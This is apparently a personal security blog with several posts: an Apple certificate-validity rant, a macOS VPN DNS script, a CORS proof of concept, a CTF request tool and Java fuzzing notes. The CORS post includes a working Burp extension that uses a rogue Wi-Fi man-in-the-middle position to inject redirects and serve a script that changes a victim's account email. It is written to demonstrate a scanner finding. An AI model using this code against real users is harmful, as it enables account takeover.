Certificate is not standards compliant on MacOS/iOS, error -9802, strict TLS Trust evaluation failed

This is a little rant about Apple and how they implemented their security checks around certificates. TL;DR: You can’t have a certificate that is valid for more than 825 days.

Like many others, I have a private trusted CA certificate installed on my MacOS. It’s in the keychain an marked as trusted. So far everything worked well, but one day I got error messages when connecting to a Jabber server (XMPP with Starttls). I got it for all software that used the MacOS TLS stack, but not for software like Firefox. So it had to be something Apple specific. The CA certificate was shown as trusted, the intermediate certificate was accepted, but the leaf certificate (certificate of the server) had an error tagged on to it:

certificate is not standards compliant

Wow, what a helpful error message! Now I definitely know what to do. So I started investigating what the problem could be. The first few hits you get when searching the web are totally red herrings, but I didn’t know at that time: crypto/x509: “certificate is not standards compliant” on MacOS and SSL certificate is not Standards compliant“. Of course after reading that I thought I knew what the problem was: The new certificate transparency rules.

Red herring: Certificate transparency

My CA doesn’t have a certificate transparency log, that would make sense I thought at first… but then read about how you have to apply at Apple to get on the list, which obviously isn’t what other people do as there were only official CAs on the list. Searching a little further you find some posts that say internal/private CAs are excluded from certificate transparency in Chrome. That makes sense, but what about Apple? Couldn’t find any information there. So just to debug this, let’s just try to get rid of Certificate Transparency on my local MacOS and see if that helps. How do you do that? Well, only via device management profiles (aka .mobileconfig file). I knew those from my MDM analysis days, so I fired up Apple Configurator to create a new profile. In the profile I was really able to set domains (wildcard-style) that should be excluded from certificate transparency, great! So I exported the profile to a .mobileconfig file and tried to install it. However, when trying to install it I got the following error:

Profile installation failed. A Certificate Transparency Settings payload can only be included in a device profile.

Try searching for that error message on the web. There wasn’t a single hit at the time of writing… So what’s a device profile? I vaguely remembered, but I had to look it up first. The documentation of Apple on how to install profiles didn’t help either. Then I thought maybe I need to sign the .mobileconfig to make it install as a device profile. So I took a random cert/private key from a trusted CA I had (yes, you can take any) and signed the .mobileconfig. It worked and it’s weird, but when you sign with any certificate, the profile is actually shown as “verified”. However, that didn’t help either, couldn’t install as device profile and I couldn’t remember how I used to do it. I searched for a while but couldn’t find a solution.

Unhelpful error messages

Ok, I was stuck there, it would take even more time to figure out how to install that device profile. Let’s go back to square one. So I checked the console for Safari (which only says “can’t established secure connection”) specific errors regarding the certificate “not being standards compliant”. I checked Wireshark (which was pointless, I know, I should only see an “encrypted alert” packet, but I was desperate). I copy pasted some swift code I could run in the “swift repl” interactive console to get an error message:

import Foundation

let url = URL(string: "https://foo.example.org/")!
let (data, _) = try await URLSession.shared.data(from: url)
print(data)

But the only unhelpful messages I got was:

2024-01-30 18:02:02.103330+0100 repl_swift[29733:501906] Connection 1: strict TLS Trust evaluation failed(-9802)
2024-01-30 18:02:02.103370+0100 repl_swift[29733:501906] Connection 1: TLS Trust encountered error 3:-9802
2024-01-30 18:02:02.103376+0100 repl_swift[29733:501906] Connection 1: encountered error(3:-9802)
2024-01-30 18:02:02.206271+0100 repl_swift[29733:501906] Connection 2: strict TLS Trust evaluation failed(-9802)
2024-01-30 18:02:02.206310+0100 repl_swift[29733:501906] Connection 2: TLS Trust encountered error 3:-9802
2024-01-30 18:02:02.206319+0100 repl_swift[29733:501906] Connection 2: encountered error(3:-9802)
2024-01-30 18:02:02.259575+0100 repl_swift[29733:501906] [boringssl] boringssl_context_handle_fatal_alert(1991) [C3.1.1.1:2][0x100307470] read alert, level: fatal, description: protocol version
2024-01-30 18:02:02.263724+0100 repl_swift[29733:501906] [boringssl] boringssl_session_handshake_incomplete(88) [C3.1.1.1:2][0x100307470] SSL library error
2024-01-30 18:02:02.263782+0100 repl_swift[29733:501906] [boringssl] boringssl_session_handshake_error_print(43) [C3.1.1.1:2][0x100307470] Error: 4328543672:error:1000042e:SSL routines:OPENSSL_internal:TLSV1_ALERT_PROTOCOL_VERSION:/AppleInternal/Library/BuildRoots/9ba9e62a-acc5-11ee-9f46-d64f9dd5e0b3/Library/Caches/com.apple.xbs/Sources/boringssl/ssl/tls_record.cc:594:SSL alert number 70
2024-01-30 18:02:02.263797+0100 repl_swift[29733:501906] [boringssl] nw_protocol_boringssl_handshake_negotiate_proceed(774) [C3.1.1.1:2][0x100307470] handshake failed at state 12288: not completed
2024-01-30 18:02:02.264613+0100 repl_swift[29733:501906] Connection 3: received failure notification
2024-01-30 18:02:02.264780+0100 repl_swift[29733:501906] Connection 3: failed to connect 3:-9836, reason -1
2024-01-30 18:02:02.264808+0100 repl_swift[29733:501906] Connection 3: encountered error(3:-9836)
2024-01-30 18:02:02.265218+0100 repl_swift[29733:501906] Task <9E99888A-E626-467B-A532-FDC6E7BC7F90>.<1> HTTP load failed, 0/0 bytes (error code: -1200 [3:-9836])
2024-01-30 18:02:02.269813+0100 repl_swift[29733:501905] Task <9E99888A-E626-467B-A532-FDC6E7BC7F90>.<1> finished with error [-1200] Error Domain=NSURLErrorDomain Code=-1200 "An SSL error has occurred and a secure connection to the server cannot be made." UserInfo={NSErrorFailingURLStringKey=https://foo.example.org/, NSLocalizedRecoverySuggestion=Would you like to connect to the server anyway?, _kCFStreamErrorDomainKey=3, _NSURLErrorFailingURLSessionTaskErrorKey=LocalDataTask <9E99888A-E626-467B-A532-FDC6E7BC7F90>.<1>, _NSURLErrorRelatedURLSessionTaskErrorKey=(
"LocalDataTask <9E99888A-E626-467B-A532-FDC6E7BC7F90>.<1>"
), NSLocalizedDescription=An SSL error has occurred and a secure connection to the server cannot be made., NSErrorFailingURLKey=https://foo.example.org/, NSUnderlyingError=0x600000c18600 {Error Domain=kCFErrorDomainCFNetwork Code=-1200 "(null)" UserInfo={_kCFStreamPropertySSLClientCertificateState=0, _kCFNetworkCFStreamSSLErrorOriginalValue=-9836, _kCFStreamErrorDomainKey=3, _kCFStreamErrorCodeKey=-9836, _NSURLErrorNWPathKey=satisfied (Path is satisfied), viable, interface: utun3, dns}}, _kCFStreamErrorCodeKey=-9836}

Please be aware that only the first three lines are relevant for our problem (TLS1.3 connection failing because “strict TLS Trust evaluation failed”) and that the error message is not helpful at all. A different error message indeed, but searching for that on the web didn’t help either. Everything after the first 3 lines is just boringssl having issues connecting with TLS1.0 etc. So this means there is no error that would help me figure it out, again. Thanks Apple.

Solution

So I asked on Mastodon and someone pointed out the following link: Requirements for trusted certificates in iOS 13 and macOS 10.15. Which had the solution: TLS server certificates must have a validity period of 825 days or fewer (as expressed in the NotBefore and NotAfter fields of the certificate). As soon as we changed to shorter certificate validity, the errors were gone.

All in all I would say this is a pretty bad example for Apple. Even though they say on their Technical Note TN2232 – HTTPS Server Trust Evaluation that you should never disable TLS verification. The openssl examples in there also don’t help in this case. I can see why developers would give up if they don’t get proper error messages with reasons included. Or error codes that can be looked up. Or documentation that easily tells you howto debug it and get details. Or just one single proper documentation what Apple’s view on “standards compliant certificate” could be.

Bad practice, dark pattern. There, I wrote it.

MacOS built-in VPN IKEv2 force remove VPN DNS resolver

This is for once not a security related post, but as I couldn’t find one important detail on the Internet, I thought I’ll share my story.

When connecting with the MacOS built-in VPN service to a server, MacOS (12, Monterey) will happily accept all the parameters coming from the VPN server: Force their DNS setting, force their IP address routes (in this case route all traffic through VPN), etc. and there is no GUI to change it.

As I didn’t want to route all traffic through the VPN and as I didn’t want DNS resolutions to go through the VPN (except for certain domains), I wanted to reconfigure MacOS to do as I like. The routing issue was straight forward by adding a couple of specific routes (10.0.0.0/8) and then telling MacOS to use my usual default gateway in my network (192.168.1.1):

/sbin/route -nv add -net 10.0.0.0/8 -interface ipsec0
/sbin/route change default 192.168.1.1

However, when it came to changing the DNS settings, there are many not very helpful links that suggest that you change the “Service Order” (you can’t, IKEv2 VPNs do not get a Service entry) via GUI (network settings) or command line (networksetup). So that was not an option.

What sounded absolutely plausible is to change the SearchOrder (sometimes shown as just “order” in MacOS tools) of the VPN-DNS server to a higher value. This was attempted by Rakhesh but also didn’t work as he explains. He then explains that he overwrites the VPN’s DNS IP address with the one we want (d.add ServerAddresses * 192.168.1.1), but that didn’t work for me either and that just lead to not being able to do DNS resolving at all (my guess would be MacOS then tries to reach 192.168.1.1 via the VPN interface, which doesn’t work). So for me all available approaches didn’t work.

However, I found out that I can change something called “PrimaryRank” from “first” to “second”, which then made the DNS server of the VPN disappear as a resolver in the “DNS configuration” section of scutil --dns and everything worked as expected:

$ sudo scutil
> get State:/Network/Service/E6[REDACTED]57C
> d.show
<dictionary> {
  PrimaryRank : First
}
> d.add PrimaryRank Second
> set State:/Network/Service/E6[REDACTED]57C
> exit

The only problem is that I need to change that value back to “first” before I connect again. So the entire script I run and then prompts me to connect the VPN:

#!/bin/bash

# OPTIONS: default gateway and DNS server to use for normal Internet connection
GW_TO_USE="192.168.1.1"
DNS_TO_USE="$GW_TO_USE"

# Run this script after connection in the Network settings of MacOS to the VPN

# Check if running as root
if [ $EUID -ne 0 ]; then
    echo "This script should be run as root." > /dev/stderr
    exit 1
fi

echo "+ Fixing PrimaryRank to the original value"
scutil << EOF
get State:/Network/Service/E6[REDACTED]57C
d.add PrimaryRank First
set State:/Network/Service/E6[REDACTED]57C
exit
EOF

read -p "Connect VPN now, then press Enter to continue" </dev/tty

echo "+ Sleeping 3 seconds to make sure VPN is correctly connected..."
sleep 3

##
# Routing part
##

echo "+ Adding a manual route for VPN IP address range"
/sbin/route -nv add -net 10.0.0.0/8 -interface ipsec0

echo "+ Removing VPN as the default gateway"
/sbin/route change default "$GW_TO_USE"

##
# DNS part
##

echo "+ Last line of /etc/resolv.conf:"
tail -1 /etc/resolv.conf

echo "+ add DNS for *.example.org in /etc/resolver/example.org, it will be the last line from /etc/resolv.conf!"
tail -1 /etc/resolv.conf > /etc/resolver/example.org
echo "+ Last time we checked this was:"
echo 'nameserver 10.15.7.8'

echo "+ Fixing VPN DNS always being used"
scutil << EOF
get State:/Network/Service/E6[REDACTED]57C
d.add PrimaryRank Second
set State:/Network/Service/E6[REDACTED]57C
exit
EOF

echo "+ sleeping for 2 seconds"
sleep 2

echo "+ Your new /etc/resolv.conf:"
tail -1 /etc/resolv.conf

Cross-origin resource sharing: unencrypted origin trusted PoC

I thought of a way to make this blog a little bit more active than one post every 4 years. And I thought I will stick to my old mantra of “it doesn’t always have to be ultra l33t hacks”, sometimes it’s enough to have a cool example or Proof of Concept. So here we are.

Burp Suite Pro is able to find various different security issues with its active scanner, one of them being “Cross-origin resource sharing: unencrypted origin trusted”. This means nothing else, than a website allowing CORS being used from an http:// origin.

Or in other words, the vulnerable website responds with Access-Control-Allow-Origin: http://anything and when I say anything, I mean anything. Let’s assume this “anything” is vulnerable.example.org (IMPERSONATED_DOMAIN) for the upcoming examples. And let’s assume the attacked domain returning the CORS header is api.vulnerable.example.org (ATTACKED_DOMAIN). These CORS setting are security issue, because attackers that know of this issue can exploit it. But how?

The setup isn’t the most simple one, as it requires a Machine-In-The-Middle position (MITM) to exploit and you need to find an IMPERSONATED_DOMAIN that uses no HSTS (or the browser has not received the HSTS yet, which is likely if many exotic origins are allowed).

We often configure demo setups during a security analysis. For this example by using Burp Suite Pro in transparent proxy mode on a laptop which creates a Wifi access point and using some iptables rules. The iptables rules make sure that only HTTP traffic on TCP port 80 (but not HTTPS) is redirected to Burp, while HTTPS on port 443 is passed-through. What can we achieve with this setup and the CORS misconfiguration?

  1. User connects to the malicious Wifi access point (free Wifi!), so we gain a MITM-position
  2. User opens his browser, types any website in the address bar (that hasn’t HSTS). Let’s assume it’s completely-unrelated.example.org
  3. The browser automatically tries port 80 first on completely-unrelated.example.org
  4. iptables redirects the port 80 traffic to Burp. In Burp we run a special extension (see below).
  5. Burp injects an iframe or redirects to the vulnerable.example.org (IMPERSONATED_DOMAIN). Notice that the attacker can fully control which domain to impersonate.
  6. The browser loads the iframe or follows the redirect
  7. Burp sees that the browser is requesting vulnerable.example.org (IMPERSONATED_DOMAIN) and instead of returning the real content, sends back an attacker chosen HTML payload
  8. The HTML payload runs in the vulnerable.example.org (IMPERSONATED_DOMAIN) context and uses JavaScript to send requests to https://api.vulnerable.example.org (ATTACKED_DOMAIN)
  9. The browser decides to send a CORS preflight request from the origin http://vulnerable.example.org (IMPERSONATED_DOMAIN) to https://api.vulnerable.example.org (ATTACKED_DOMAIN)
  10. api.vulnerable.example.org (ATTACKED_DOMAIN) allows CORS access for http://vulnerable.example.org (IMPERSONATED_DOMAIN)
  11. Whatever action that the attacker chosen payload should do is executed, as the CORS setting allow it

To make this a little bit more clear to you, the CORS preflight will be something like:

OPTIONS /preferences/email HTTP/1.1
Host: ATTACKED_DOMAIN
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0
Origin: http://IMPERSONATED_DOMAIN
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Content-Type

And the response from the vulnerable server will be similar to:

HTTP/1.1 204 No Content
Date: Mon, 01 Dec 2008 01:15:39 GMT
Access-Control-Allow-Origin: http://IMPERSONATED_DOMAIN
Access-Control-Allow-Methods: POST, PUT, GET, OPTIONS
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Credentials: true

Now the only piece that we need to create such an attack is that Burp extension. So here we go, this is an example where we assume the exploit we do is change the email in the user preferences:

ATTACKED_DOMAIN = "api.vulnerable.example.org" # This is the attacked domain, the one where the CORS headers are returned
IMPERSONATED_DOMAIN = "vulnerable.example.org" # This is the domain in the HTTP URL which is allowed to use CORS (domain returned in the CORS header)
USE_IFRAME = False # Either hard-redirect all HTTP traffic via meta tag or use a 1x1 pixel iframe
ATTACK_CODE = """
            				//Change email
            				var req2 = new XMLHttpRequest();
            		        req2.onload = reqListener;
            				req2.open('PUT', 'https://""" + ATTACKED_DOMAIN + """/preferences/email', true); 
            		        req2.setRequestHeader('Content-Type', 'application/json');
            		        req2.withCredentials = true;
            		        req2.send(JSON.stringify({"emailAddress":"attacker@example.org"}));
""" # This is the code you want to execute as the impersonated domain. This demonstrates the issue by changing the email in the preferences (via an HTTPS request):

# PUT /preferences/email HTTP/1.1
# Host: ATTACKED_DOMAIN
# Content-Type: application/json
# Content-Length: 39
# 
# {"emailAddress":"attacker@example.org"}

# End configuration

import re
import urllib
from burp import IBurpExtender
from burp import IHttpListener
from burp import IHttpService

class BurpExtender(IBurpExtender, IHttpListener):
    def registerExtenderCallbacks(self, callbacks):
        print "Extension loaded!"
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()
        callbacks.setExtensionName("CORS non-TLS PoC")
        callbacks.registerHttpListener(self)
        self._end_head_regex = re.compile("</head>\s*<body.*?>")
        self._iframe_url = "http://" + IMPERSONATED_DOMAIN + ":80/"
        print "Extension registered!"

    def processHttpMessage(self, toolFlag, messageIsRequest, baseRequestResponse):
        iRequest = self._helpers.analyzeRequest(baseRequestResponse)
        if not messageIsRequest:
            print str(iRequest.getUrl())
            if str(iRequest.getUrl()) == self._iframe_url:
                # If it is a domain we want to attack, respond with the CORS payload
                print "Part 2: Found a request that has {} as its URL... inject CORS payload".format(IMPERSONATED_DOMAIN)
                body = """<html><body>
                    <img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-wp-preserve="%3Cscript%3E%0A%20%20%20%20%20%20%20%20%09%09%09%20%20%20%20function%20exploit()%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%09%09%09%09function%20reqListener()%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2F%2Falert(this.responseText)%3B%20%2F%2FRemove%20comment%20for%20debugging%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%3B%09%09%09%09%0A%0A%20%20%20%20%20%20%20%20%20%20%20%20%09%09%09%09%22%22%22%2BATTACK_CODE%2B%22%22%22%0A%20%20%20%20%20%20%20%20%20%20%20%20%09%09%09%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%09%09%09setInterval(exploit%2C%205000)%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%3C%2Fscript%3E" data-mce-resize="false" data-mce-placeholder="1" class="mce-object" width="20" height="20" alt="&lt;script&gt;" title="&lt;script&gt;" />
                </body></html>"""
                response = """HTTP/1.1 200 OK
Date: Tue, 01 Jan 1970 08:42:42 GMT
Server: Floyds CORS Exploiter Server
Connection: close
Content-Type: text/html
Content-Length: {}

{}""".format(len(body), body)
                baseRequestResponse.setResponse(ps2jb(response))
            elif not IMPERSONATED_DOMAIN in str(iRequest.getUrl()):
                # In responses we inject an iframe, only in requests that are not already to IMPERSONATED_DOMAIN
                print "Part 1: Intercepted request... inject iframe to trusted domain {}".format(IMPERSONATED_DOMAIN)
                response = jb2ps(baseRequestResponse.getResponse())
                if self._end_head_regex.search(response):
                    print "Found a matching HTML page that has the </head> and <body ...> in it."
                    iResponse = self._helpers.analyzeResponse(baseRequestResponse.getResponse())
                    header, body = response[:iResponse.getBodyOffset()], response[iResponse.getBodyOffset():]
                    if USE_IFRAME:
                        body = re.sub(self._end_head_regex,
                              '\g<0><iframe src="{}" style="display:none;" width="1px" height="1px"></iframe>'.format(self._iframe_url),
                              body)
                    else:
                        body = re.sub(self._end_head_regex,
                              '<meta http-equiv="refresh" content="0; url={}">\g<0><img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7" data-wp-preserve="%3Cscript%20type%3D%22text%2Fjavascript%22%3Ewindow.location.href%20%3D%20%22%7B%7D%22%3B%3C%2Fscript%3E" data-mce-resize="false" data-mce-placeholder="1" class="mce-object" width="20" height="20" alt="&lt;script&gt;" title="&lt;script&gt;" />'.format(self._iframe_url, self._iframe_url),
                              body)
                    header = fix_content_length(header, len(body), "\r\n")
                    baseRequestResponse.setResponse(header + body)


def fix_content_length(headers, length, newline):
    h = list(headers.split(newline))
    for index, x in enumerate(h):
        if "content-length:" == x[:len("content-length:")].lower():
            h[index] = x[:len("content-length:")] + " " + str(length)
            return newline.join(h)
    else:
        print "WARNING: Couldn't find Content-Length header in request, simply adding this header"
        h.insert(1, "Content-Length: " + str(length))
        return newline.join(h)

def jb2ps(arr):
    return ''.join(map(lambda x: chr(x % 256), arr))

def ps2jb(arr):
    return [ord(x) if ord(x) < 128 else ord(x) - 256 for x in arr]

If you want to read more about Burp extensions, also checkout Pentagrid’s blog where I blog most of the time nowadays.

New year, new host, same hacks

Wow, it’s been a while, last post was 2018. I’ve been very busy. Back in 2019 my co-founder Martin and me created Pentagrid. Many things also fell asleep during the pandemic, as social interaction got harder.

I’ve moved this blog to a different hoster, let me know if anything broke. If you are into old weird stuff, check out my TI Voyage 200 calculator functions I wrote more than ten years ago and I’ve also moved for nostalgic reasons.

I still do some Open Source related things. For example, stuff that nerd-snipes me, such as balancing the use of memory, disc and number of HTTP Range requests by creating a Python file-like object that does HTTP Range requests in the read function. My CRASS project is still alive and maintained. Looking a little more at Windows domain things lately, but mostly using awesome tools from other people. I’m very much looking forward to the new Burp Extension API and multi-language extensibility as well and I still love the tool, even when it sometimes seem that I’m constantly, complaining, a lot, about Burp. I’ve been blogging mostly on the Pentagrid blog. So head over there and check out the new Response Overview Burp Suite extension or how we broke AWS Cognito for example. Going forward I’ll try to still blog from time to time, even if takes 5 years.

Python Sender

Last week I played my first Capture The Flag (CTF) where I really tried solving the challenges for a couple of hours. It was a regular jeopardy style CTF with binaries, web applications and other server ports. I don’t think CTFs are going to be my favourite hobby, as pentesting is similar but just a little bit more real life. However, CTFs are very nice for people who want to get into IT security, so I wanted to help a little bit in the team I joined. This particular CTF by Kaspersky really annoyed me though, as the servers were very often offline (HTTP 500 errors). Moreover, some challenges allowed easy Remote Command Execution (RCE) and I guess some teams took the chance to prevent other teams from scoring flags. As I just said I’m not very experienced with CTFs, maybe that’s how it’s supposed to be, but for me that’s silly. Anyway, this post is about something more positive: A Python script to play CTFs, but can also be used during pentests. For those who play CTFs very often, it’s probably better to use a full library such as pwntools, but if you just want a small script where you can delete whatever you don’t need and go with the POC||GTFO flow, you’ve come to the right place.

I think two of the mostly presented CTF challenges often look the same. You either get a URL to a challenge website and you have to do some HTTP magic or you get something like “nc www.example.org 1337” where you are supposed to talk to a server with netcat. Now both challenges usually use TCP/IP and maybe TLS. The website obviously uses HTTP(S) on top of that. So very often you find yourself sending a lot of HTTP requests or a lot of TCP packets to a certain port. Pentests also require the same sometimes.

To make sure we don’t have to fight if Python 2.7 is better than Python 3.6, the script I wrote works on both versions. But even then, people might argue that python’s urllib or urllib2 is sufficient or that they rather use the non-standard requests library. And others will simply say that only asynchronous network IO is really fast enough, so they prefer to use Python Twisted (or treq). However, I got all of these cases covered in the script.

The script allows arbitrary socket and HTTP(S) connections via:

  • socket and ssl-wrapped sockets – when you need bare bone or non-HTTP(S)
  • python urllib/urllib2 HTTP(S) library – when you need HTTP(S) and a little bit more automated HTTP feature handling
  • python requests HTTP(S) library – when you need HTTP(S) and full HTTP feature handling
  • python treq (uses Python Twisted and therefore asynchronous IO) – when you need full HTTP(S) feature handling and speed is important

The main features are:

  • Works under python 2.7 and python 3 (although treq here is untested under python 2.7)
  • You can just copy and paste an HTTP(S) request (e.g. from a proxy software) without worrying about the parsing and other details
  • You can also use the sockets functions to do non-HTTP related things
  • Ignores any certificate warnings for the server

It should be helpful when:

  • You want to script HTTP(S) requests (e.g. just copy-paste from a proxy like Burp), for example during a pentest or CTF
  • When you encounter a CTF challenge running on a server (like “nc example.org 1234”) or a proprietary TCP protocol during pentests

Howto:

  • Change the variables START, END and TLS
  • Optional: Change further configuration options, such as sending the HTTP(S) requests through a proxy
  • Change the ‘main’ function to send the request you would like to. By default it will send 3 HTTP requests to www.example.org with every library.

Enough words, head over to github to download the Python Sender.

Java Bugs with and without Fuzzing – AFL-based Java fuzzers and the Java Security Manager

In the last half a year I have been doing some fuzzing with AFL-based Java fuzzers, namely Kelinci and JQF. I didn’t really work with java-afl. The contents of this post are:

Various AFL-based Java fuzzers are available that can be used to find more or less severe security issues. By combining these with sanitizers provided by the Java Security Manager, additional instrumentation can be achieved.

This blog post will mention several files, they are included on github. Additionally, the zip file includes several other files that reproduce the same bugs.

AFL-based Java fuzzing tools

The AFL fuzzer is really popular nowadays as it performs instrumented fuzzing. If you are not familiar with AFL, it’s probably better if you at least quickly look at AFL before you read this post. It is especially important to understand how AFL handles hangs (test cases that take too much time to process) and crashes (e.g. target program segfault).

Kelinci is one of the first AFL for Java implementations and is very promising, although the approach with having two processes per fuzzing instance is a little clumsy and can get confusing. One process is the native C side, which takes mutated inputs produced by AFL and sends them to the second process via TCP socket. The second process is the Java process that feeds the input to the target program and sends back the code paths taken with this input. There are certain error messages in the Java part of this fuzzer that are not always exactly clear (at least to me), but they seem to indicate that the fuzzer is not running in a healthy state anymore. However, so far Kelinci worked very well for me and came up with a lot of results. There has not been any development for 7 months, so I hope the author will pick it up again.

JQF is actively maintained and the last changes were commited a couple of days ago. It does not take the classic fuzzer approach that most fuzzers for security researchers take, but instead is based on Java Unit Tests and focuses more on developers. It currently has only limited support of AFL’s -t switch for the timeout settings and there is also only rudimentary afl-cmin support. While this is perfect for developers using Unit Tests, it is not the most flexible fuzzer for security researchers fuzzing Java code.

java-afl has not been updated in four months. This is actually the fuzzer I didn’t successfully use at all. I tried to ask the developer about how to run it properly, but didn’t get an answer that would help me run it on the test case I had in mind. If you have better luck with java-afl, please let me know, it would be interesting to hear how this fuzzer performs.

First steps with Apache Commons

I started with the Apache Common’s Imaging JPEG parser as a target. The choice was simple because it was one of the examples explained for the Kelinci fuzzer. Apache Commons is a very popular library for all kind of things that are missing or incomplete in the Java standard library. When going through the author’s example, I realized that he gave the fuzzer only one input file containing the text “hello”, which is not a JPEG file and not a very good starting corpus. While it’s probably lcamtuf’s very interesting experiment that makes people believe using such corpus data is a valid choice, it is not a valid choice for proper fuzzing runs. lcamtuf’s experiment was good to proof the point that the fuzzer is smart, but for productive fuzzing proper input files have to be used to achieve good results. Fuzzing is all about corpus data in the end. So I took the JPEG files in lcamtuf’s corpus on the AFL website and some files from my private collection. The fuzzer quickly turned up with an additional ArrayIndexOutOfBoundsException which I reported to Apache (file ArrayIndexOutOfBoundsException_DhtSegment_79.jpeg). That was quite an easy start into Java fuzzing. If you would do the same for other parsers of Apache Commons (for example PNG parser), you would most probably find some more unchecked exceptions.

Goals: Taking a step back

After this quick experiment I gave the idea of fuzzing Java some more thoughts. Fuzzing is originally applied to programs that are not memory safe, hoping that we are able to find memory corruption issues. Out of bound read or writes in Java code simply do not result in memory corruption but in more or less harmless Exceptions such as IndexOutOfBoundsException. While it might be desirable to find (code robustness) issues and might result in Denial of Service issues, the severity of these issues is usually low. The question is what kind of behavior and fuzzing results are we looking for? There are different scenarios that might be of interest, but the attack vector (how does the attacker exploit the issue in the real world?) matters a lot when looking at them. Here is my rough (over)view on Java fuzzing:

  • Finding bugs in the JVM.
    • Arbitrary Java code as input. This could be helpful in more exotic scenarios, for example when you need to escape from a sandboxed JVM. In most other scenarios this attack vector is probably just unrealistic, as an attacker would be executing Java code already.
    • Feeding data into built-in classes/functions (fuzzing the standard library), such as strings. This is not very likely to come up with results, but you never know, maybe there are Java deserialization vulnerabilities lurking deep in the JVM code?
    • Finding low-severity or non-security issues such as code that throws an Exception it didn’t declare to throw (RuntimeExceptions).
  • Finding memory corruption bugs in Java code that uses native code (for example JNI or CNI). This is probably a very good place to use Java fuzzing, but I don’t encounter this situation very much except in Android apps. And fuzzing Android apps is an entirely different beast that is not covered here.
  • Fuzzing pure Java code.
    • We could go for custom goals. This might depend on your business logic. For example, if the code heavily uses file read/writes maybe there is some kind of race condition? Also the idea of differential fuzzing for crypto libraries makes a lot of sense.
    • Finding “ressource management” issues, such as Denial of Service (DoS) issues, OutOfMemoryExceptions, high CPU load, high disk space usage, or functions that never return.
    • Finding low-severity or non-security issues such as RuntimeExceptions.
    • Finding well-known security issues for Java code, such as Java deserialization vulnerabilities, Server Side Request Forgery (SSRF), and External Entity Injection (XXE).

I was especially interested in the last three points in this list: Finding ressource issues, RuntimeExceptions and well-known Java security issues. While I already found a RuntimeException in my little experiment described above, I was pretty sure that I would be able to detect certain ressource management issues by checking the “hangs” directory of AFL. However, the last point of finding well-known security issues such as SSRF seems tricky. The fuzzer would need additional instrumentation or sanitizers to detect such insecure behavior. Just as Address Sanitizer (ASAN) aborts on invalid memory access for native code (which then leads to a crash inside AFL), it would be nice to have sanitizers that take care about such areas in the Java world. A file sanitizer for example might take a whitelist of files that are allowed to be accessed by the process, but abort if any other file is accessed. This could be used to detect XXE and SSRF scenarios. A network sanitizer might do the same if sockets are used. Imagine a Java image file parsing library as a target. From a security perspective such a library should never open network sockets, as this would indicate Server Side Request forgery. This is a very realistic scenario, and I did find XXE issues in PNG XMP metadata parsing libraries before.

Java Security Manager

After doing some research it turned out that there is nothing like a file whitelist sanitizer for native code where AFL is usually used. So if we would fuzz any C/C++ code we would have to write our own parser and as stated by Jakub Wilk it might be tricky to implement due to async-signal-safe filesystem functions. So if you feel like writing one, please go ahead.

Back to Java I found out that there is already such a sanitizer. The best part is that it’s a built-in feature of the JVM and it’s called Java Security Manager. Look at this simple Java Security Manager policy file I created for running the Kelinci fuzzer with our simple Apache Commons JPEG parsing code:

grant {
    permission java.io.FilePermission "/tmp/*", "read,write,delete";
    permission java.io.FilePermission "in_dir/*", "read";
    permission java.io.FilePermission "/opt/kelinci/kelinci/examples/commons-imaging/out_dir/*", "read, write, delete";
    permission java.io.FilePermission "/opt/kelinci/kelinci/examples/commons-imaging/out_dir/master/*", "read, write, delete";
    permission java.io.FilePermission "/opt/kelinci/kelinci/examples/commons-imaging/out_dir/master0/*", "read, write, delete";
    permission java.io.FilePermission "/opt/kelinci/kelinci/examples/commons-imaging/out_dir/master1/*", "read, write, delete";
    permission java.io.FilePermission "/opt/kelinci/kelinci/examples/commons-imaging/out_dir/slave/*", "read, write, delete";
    permission java.io.FilePermission "/opt/kelinci/kelinci/examples/commons-imaging/out_dir/slave0/*", "read, write, delete";
    permission java.io.FilePermission "/opt/kelinci/kelinci/examples/commons-imaging/out_dir/slave1/*", "read, write, delete";
    permission java.net.SocketPermission "localhost:7007-", "accept, listen, resolve";
    permission java.lang.RuntimePermission "modifyThread";
};

All it does is allowing file access to the temporary directory, reading from the input directory (in_dir) and writing to the output directory (out_dir) of AFL. Moreover, it allows the Kelinci Java process to listen on TCP port 7007 as well as to modify other threads. As the Security Manager is built into every Java JVM, you can simply start it with your usual command line with two more arguments:

java -Djava.security.manager -Djava.security.policy=java-security-policy.txt

So in our case we can run the Kelinci fuzzer server process with:

java -Djava.security.manager -Djava.security.policy=java-security-policy.txt -Djava.io.tmpdir=/tmp/ -cp bin-instrumented:commons-imaging-1.0-instrumented.jar edu.cmu.sv.kelinci.Kelinci driver.Driver @@

I went back and ran the Kelinci fuzzer some more hours on the Apache Commons JPEG parser without getting any new results with the Java Security Manager. However, at this point I was convinced that the Java Security Manager would take Java fuzzing to the next level. I just needed a different target first.

Targeting Apache Tika

Fast forward several days later, I stumbled over the Apache Tika project. As Apache Tika was formerly part of Apache Lucene, I was convinced that a lot of servers on the Internet would allow users to upload arbitrary files to be parsed by Apache Tika. As I’m currently maintaining another related research about web based file upload functionalities (UploadScanner Burp extension) this got me even more interested.

